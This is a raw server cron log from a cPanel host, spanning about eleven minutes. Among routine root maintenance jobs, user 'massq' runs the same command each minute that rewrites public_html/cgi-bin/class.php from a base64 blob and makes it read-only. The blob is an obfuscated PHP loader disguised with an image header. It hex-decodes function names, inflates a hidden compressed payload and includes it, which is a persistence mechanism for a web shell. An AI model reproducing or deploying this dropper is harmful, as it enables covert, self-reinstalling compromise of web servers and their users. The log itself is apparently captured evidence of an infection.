Sep 10 13:10:01 server CROND[26005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:10:01 server CROND[26009]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:10:01 server CROND[26012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:10:01 server CROND[26011]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 13:10:01 server CROND[26016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:10:01 server CROND[26010]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 13:10:01 server CROND[26013]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:11:01 server CROND[26929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:11:01 server CROND[26928]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:11:01 server CROND[26930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:12:01 server CROND[27314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:12:01 server CROND[27315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:12:01 server CROND[27316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:12:01 server CROND[27317]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 13:13:01 server CROND[27689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:13:01 server CROND[27690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:13:01 server CROND[27691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:14:01 server CROND[28060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:14:01 server CROND[28061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:14:01 server CROND[28063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:15:01 server CROND[28429]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 13:15:01 server CROND[28431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:15:01 server CROND[28432]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:15:01 server CROND[28437]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:15:01 server CROND[28439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:15:01 server CROND[28440]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 13:15:01 server CROND[28438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:15:01 server CROND[28441]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 13:16:01 server CROND[29248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:16:01 server CROND[29249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:16:01 server CROND[29250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:17:01 server CROND[29610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:17:01 server CROND[29611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:17:01 server CROND[29612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:18:01 server CROND[30096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:18:01 server CROND[30097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:18:01 server CROND[30095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:19:01 server CROND[30513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:19:01 server CROND[30514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:19:01 server CROND[30515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:20:01 server CROND[30886]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 13:20:01 server CROND[30888]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 13:20:01 server CROND[30891]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 13:20:01 server CROND[30899]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:20:01 server CROND[30900]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:20:01 server CROND[30903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:20:01 server CROND[30904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:20:01 server CROND[30902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:20:01 server CROND[30901]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 13:21:01 server CROND[31717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:21:01 server CROND[31718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
